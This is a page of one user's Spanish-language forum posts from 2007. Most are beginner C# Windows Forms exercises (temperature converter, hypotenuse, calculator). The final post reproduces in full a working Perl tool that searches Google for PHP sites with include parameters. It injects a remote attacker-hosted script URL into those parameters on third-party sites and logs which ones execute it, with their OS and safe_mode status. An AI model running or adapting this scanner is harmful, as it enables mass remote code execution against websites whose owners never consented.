|
Mostrar Mensajes
|
Páginas: 1 2 [3] 4 5 6 7
|
21
|
Programación / .NET (C#, VB.NET, ASP) / Re: Ejercicios básicos C#
|
en: 25 Noviembre 2007, 00:10 am
|
bueno es que algunos son de modo de consola y otros de graficos date cuenta en el codigo ,cuando veas algo asi Console.WriteLine es en modo de consola y textBox1.Text orientado a objetos tambien puede ser k no agregas los botones saludos Hola, pues lo que hago es: cuando es modo consola, creo un proyecto Console aplication, y si me funcionan, pero cuando es orientado a objetos, creo una aplicación de ventanas, tambien he probao con proyecto vacio, y en los dos casos copio el codigo y lo pego, pero no me funciona, no se si porque tengo que crear yo los botonoes con el editor de visual studio o que tengo que hacer. Gracias. Saludos. asi es es por los objetos aki dejo otro programita que lo acabo de terminar:: Este programa ase las conversiones de kelvin, celsius, Fahrenheit, de todos los tipos objetos necesarios "indispensables" (Por si le quieres poner etiquetas y adornar) Dos textbox seis radioButton dos botones un listbox Dejo una imagen Aclaro que se puede acer un poko mas corto con clases using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms;
namespace Centigrados { public partial class Form1 : Form { int b,a; double t; int cad; string tot; public Form1() { InitializeComponent(); } private void radioButton1_CheckedChanged(object sender, EventArgs e) { try { a = Convert.ToInt32(textBox1.Text); b = Convert.ToInt32(textBox2.Text); cad = listBox1.Items.Add("Celsius kelvin"); if (a < b) { } else { MessageBox.Show("Error en los datos","Tecnologico de la Paz"); } while (a <= b) { for (int x = a; x <= a; x++) { t = a + 273.15; tot = x.ToString() + " " + t.ToString(); } listBox1.Items.Add(tot); a++; } } catch (FormatException ms) { MessageBox.Show("Error en los datos de entrada", "Tecnologico de la Paz"); textBox1.Text = ""; textBox2.Text = ""; radioButton1.Checked = false; } } private void button2_Click(object sender, EventArgs e) { radioButton1.Checked = false; radioButton2.Checked = false; radioButton3.Checked = false; radioButton4.Checked = false; radioButton5.Checked = false; radioButton6.Checked = false; listBox1.Items.Clear(); textBox1.Text = ""; textBox2.Text = ""; textBox1.Focus(); } private void Form1_Load(object sender, EventArgs e) { MessageBox.Show("Bienvenidos al convertidor de temperaturas", "Tecnologico de la Paz"); } private void Form1_Load_1(object sender, EventArgs e) { } private void button1_Click(object sender, EventArgs e) { this.Close(); } private void radioButton2_CheckedChanged(object sender, EventArgs e) { listBox1.Items.Clear(); try { /*if (a < b) { } else { MessageBox.Show("Error en los datos", "Tecnologico de la Paz"); textBox1.Focus(); listBox1.Items.Clear(); }*/ a = Convert.ToInt32(textBox1.Text); b = Convert.ToInt32(textBox2.Text); cad = listBox1.Items.Add("Kelvin Celsius"); while (a <= b) { for (int x = a; x <= a; x++) { t = a - 273.15; tot = x.ToString() + " " + t.ToString(); } listBox1.Items.Add(tot); a++; } } catch (FormatException ms) { MessageBox.Show("Error en los datos de entrada", "Tecnologico de la Paz"); textBox1.Text = ""; textBox2.Text = ""; radioButton2.Checked = false; } } private void radioButton3_CheckedChanged(object sender, EventArgs e) { listBox1.Items.Clear(); try { /*if (a < b) { } else { MessageBox.Show("Error en los datos", "Tecnologico de la Paz"); textBox1.Focus(); textBox1.Text = ""; textBox2.Text = ""; listBox1.Items.Clear(); }*/ a = Convert.ToInt32(textBox1.Text); b = Convert.ToInt32(textBox2.Text); cad = listBox1.Items.Add("Fahrenhet Celsius"); while (a <= b) { for (int x = a; x <= a; x++) { t = (a - 32)/1.8; tot = x.ToString() + " " + t.ToString(); } listBox1.Items.Add(tot); a++; } } catch (FormatException ms) { MessageBox.Show("Error en los datos de entrada", "Tecnologico de la Paz"); textBox1.Text = ""; textBox2.Text = ""; radioButton3.Checked = false; } } private void radioButton4_CheckedChanged(object sender, EventArgs e) { listBox1.Items.Clear(); try { /*if (a < b) { } else { MessageBox.Show("Error en los datos", "Tecnologico de la Paz"); textBox1.Focus(); textBox1.Text = ""; textBox2.Text = ""; listBox1.Items.Clear(); }*/ a = Convert.ToInt32(textBox1.Text); b = Convert.ToInt32(textBox2.Text); cad = listBox1.Items.Add("Celsius Fahrenhet"); while (a <= b) { for (int x = a; x <= a; x++) { t = (a *1.8) +32; tot = x.ToString() + " " + t.ToString(); } listBox1.Items.Add(tot); a++; } } catch (FormatException ms) { MessageBox.Show("Error en los datos de entrada", "Tecnologico de la Paz"); textBox1.Text = ""; textBox2.Text = ""; radioButton4.Checked = false; } } private void radioButton5_CheckedChanged(object sender, EventArgs e) { listBox1.Items.Clear(); try { /*if (a < b) { } else { MessageBox.Show("Error en los datos", "Tecnologico de la Paz"); textBox1.Focus(); textBox1.Text = ""; textBox2.Text = ""; listBox1.Items.Clear(); }*/ a = Convert.ToInt32(textBox1.Text); b = Convert.ToInt32(textBox2.Text); cad = listBox1.Items.Add("Kelvin Fahrenhet"); while (a <= b) { for (int x = a; x <= a; x++) { t = (a * 1.8) -459.67 ; tot = x.ToString() + " " + t.ToString(); } listBox1.Items.Add(tot); a++; } } catch (FormatException ms) { MessageBox.Show("Error en los datos de entrada", "Tecnologico de la Paz"); textBox1.Text = ""; textBox2.Text = ""; radioButton5.Checked = false; } } private void radioButton6_CheckedChanged(object sender, EventArgs e) { listBox1.Items.Clear(); try { /*if (a < b) { } else { MessageBox.Show("Error en los datos", "Tecnologico de la Paz"); textBox1.Focus(); textBox1.Text = ""; textBox2.Text = ""; listBox1.Items.Clear(); }*/ a = Convert.ToInt32(textBox1.Text); b = Convert.ToInt32(textBox2.Text); cad = listBox1.Items.Add("Fahrenhet Kelvin"); while (a <= b) { for (int x = a; x <= a; x++) { t = (a + 459.67) / 1.8; tot = x.ToString() + " " + t.ToString(); } listBox1.Items.Add(tot); a++; } } catch (FormatException ms) { MessageBox.Show("Error en los datos de entrada", "Tecnologico de la Paz"); textBox1.Text = ""; textBox2.Text = ""; radioButton6.Checked = false; } }
private void textBox2_Enter(object sender, EventArgs e) { } } } Saludos
|
|
|
22
|
Programación / .NET (C#, VB.NET, ASP) / Re: Ejercicios básicos C#
|
en: 23 Noviembre 2007, 22:40 pm
|
otro programita en C# , un programita que te saca la ipotenusa de dos valores esta en modo visual son 2 textbox un boton using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms;
namespace Hipotenusa { public partial class Form1 : Form { double t; public Form1() { InitializeComponent(); }
private void button1_Click(object sender, EventArgs e) { double a = 0; double b = 0; double m = 0; a = Convert.ToInt32(textBox1.Text); b = Convert.ToInt32(textBox2.Text); t = Math.Pow(a,2) +Math.Pow(b,2) ; m = Math.Sqrt(t); MessageBox.Show("La Hipotenusa es " + m);
} } }
|
|
|
23
|
Programación / .NET (C#, VB.NET, ASP) / Re: Ejercicios básicos C#
|
en: 23 Noviembre 2007, 22:37 pm
|
bueno es que algunos son de modo de consola y otros de graficos date cuenta en el codigo ,cuando veas algo asi Console.WriteLine es en modo de consola y textBox1.Text orientado a objetos tambien puede ser k no agregas los botones saludos
|
|
|
25
|
Programación / .NET (C#, VB.NET, ASP) / Re: Ejercicios básicos C#
|
en: 22 Noviembre 2007, 06:56 am
|
Dejo tamvien mi granito de arena, Otra calculadora Dos botones Dos Textbox Un comboBox (Para poner que tipo de operacion) Este tiene las opciones de + , - , * , / , ^ , % using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms;
namespace WindowsApplication1 { public partial class Form1 : Form { int a; int b; string res; double result;
public Form1() { InitializeComponent(); }
private void Form1_Load(object sender, EventArgs e) { MessageBox.Show("Bienvenidos ala calculadora Recuerde Poder los valores correctos", "Tecnologico de la paz"); }
private void button1_Click(object sender, EventArgs e) {
try { a = Convert.ToInt32(textBox1.Text); b = Convert.ToInt32(textBox2.Text); res = comboBox1.SelectedItem.ToString(); if (res == "+") { result = a + b; MessageBox.Show("La suma de la Cantidad es " + result.ToString());
} if (res == "-") { result = a - b; MessageBox.Show("La Resta de la Cantidad es " + result.ToString());
} if (res == "*") { result = a * b; MessageBox.Show("La Multiplicacion de las Cantidades es " + result.ToString());
} if (res == "/") { result = a / b; MessageBox.Show("La Division de las Cantidades es " + result.ToString());
} if (res == "^") { result = Math.Pow(a, b); MessageBox.Show("El resultado es " + result.ToString());
} if (res == "%") { result = (a % b); MessageBox.Show("el porcentaje es " + result.ToString()); } textBox1.Text = ""; textBox2.Text = ""; textBox1.Focus(); comboBox1.Text = ""; }
catch (DivideByZeroException lms) { MessageBox.Show("Error Escriba los datos correctamente", "Mensaje de Error"); textBox1.Text = ""; textBox2.Text = ""; textBox1.Focus(); comboBox1.Text = ""; }
catch (FormatException ms) { MessageBox.Show("Error Escriba los datos correctamente", "Mensaje de Error"); textBox1.Text = ""; textBox2.Text = ""; textBox1.Focus();
} } private void button2_Click(object sender, EventArgs e) { this.Close(); } } }
|
|
|
28
|
Seguridad Informática / Nivel Web / google-php-include-bugs searcher v 0.8
|
en: 21 Noviembre 2007, 00:52 am
|
google-php-include-bugs searcher v 0.9 (c)oded by pentest\S.TEAM #! /usr/bin/perl
# ================================================================ # # google-php-include-bugs searcher v 0.9 # # (c)oded by pentest\S.TEAM # # http://security-shell.com# # # # ATTENTION. THIS SCRIPT IS PRIVATE. # # ONLY FOR S.TEAM AND FRIENDS. NOT FOR SALE. # # # # Usage: perl script.pl --log=<log-file> --url=<test-script-url> # # Test script: # # <?php # # error_reporting(0); # # $s = md5("STNC"); # # $code = eregi("windows", php_uname())+ # # 2*eregi("apache", getenv("SERVER_SOFTWARE"))+ # # 4*ini_get('safe_mode'); echo $s."[$code]".$s; # # ?> # # ================================================================ #
use IO::Socket;
@inc_bugs = ("page", "text", "print", "html", "url", "view", "show", "body", "cat", "inc", "incl", "include", "read", "write", "data", "code", "fname", "filename", "cont", "content", "menu", "open", "file", "id", "p", "f", "seite", "pagina", "vista", "vue", "visao", "datei", "offnen", "corpo", "corps", "ouvrir", "fichier", "abrir", "fichero", "inhalt", "contenu", "conteudo");
@zones = ("com", "net", "org", "de", "fr", "uk", "br", "am", "info", "name", "aero", "biz", "edu", "ws", "in", "cn", "us", "be", "it", "cc", "tv", "ru", "su", "jp", "kz", "se", "is", "ca", "gs", "ms", "vg", "be", "fi", "gov");
@ftypes = ("php", "php3");
$boundary = "ca73bad132fa0c99fe9ce9efe9029e21"; # md5("STNC");
for($i = 0; $i < @ARGV; $i++) { if($ARGV[$i] =~ /^--log=(.*)$/) { $log = $1; } elsif($ARGV[$i] =~ /^--url=(.*)$/) {$script = $1; } }
if(!($script && $log)){ usage(); exit; }
foreach $inc(@inc_bugs) { foreach $zone(@zones) { foreach $ftype(@ftypes) { $request = "filetype:$ftype site:$zone inurl:$inc="; print "\n[$request]\n";
$request =~ s/(.)/sprintf("%%%02x",ord($1))/eg; @dn = ();
for($i = 0;$i < 10; $i++) { @temp = get("http://www.google.com/search?filter=0&num=100&start=".$i. "00&q=$request") =~ /(http\:\/\/[a-z0-9\.\-\/\?\:\&\%\=\_]{5,})/gi; foreach $url (@temp) { if($url !~ /($inc=[^\&]+)/i) { next; } $left = $`; $right = $'; if($url =~ /https?\:\/\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\/search\?q=cache:/i){ next; } if($url =~ /google\.com/i){ next; }
($domain) = $url =~ /^http\:\/\/([a-z0-9\.\-]{5,})/; if($domain =~ /^www\.(.+)$/) { $domain = $1; } $f=0;foreach(@dn){if($_ eq $domain){$f++;last;}}if($f){next;} push @dn, $domain;
$print = "$left$inc=[INCLUDE]$right"; if(($data) = get("$left$inc=$script\?$right") =~ /$boundary\[([0-9]+)\]$boundary/i) { $s = "$print - ".(($data % 2) ? "WINDOWS" : "UNIX").(($data > 3) ? ", SAFE_MODE" : "")."\n"; $count++; print "[$count] $s";
open LOG, ">>$log"; print LOG $s; close LOG; } else { print "$print - no bugs\n"; } } } } } }
sub timeout() { close $sock; }
sub get() { local $request = $_[0]; local $port = 80; local $data = "";
if(local($server, $url) = $request =~ /^http\:\/\/([^\/]+)\/(.+)$/) { if($server =~ /^([^\:]+)\:([0-9]{2,5})$/){ $server = $1; $port = $2; }
$sock = IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Proto => 'tcp', Type => SOCK_STREAM, TimeOut => $timeout ) or return 0; # connection failed
print $sock "GET /$url HTTP/1.0\r\nHost: $server\r\n\r\n";
$SIG{ALRM} = \&timeout; alarm 10; while(<$sock>){ $data .= $_; } alarm 0; close $sock; }
return $data; }
sub usage() {
print qq(Usage: perl $0 --log=<log-file> --url=<url-of-test-script-source> Test script: <?php error_reporting(0); \$s = md5("STNC"); \$code = eregi("windows", php_uname())+ 2*eregi("apache", getenv("SERVER_SOFTWARE"))+ 4*ini_get('safe_mode'); echo \$s."[\$code]".\$s; ?> );
} --url=<test-script-url>
|
|
|
|
|
|
|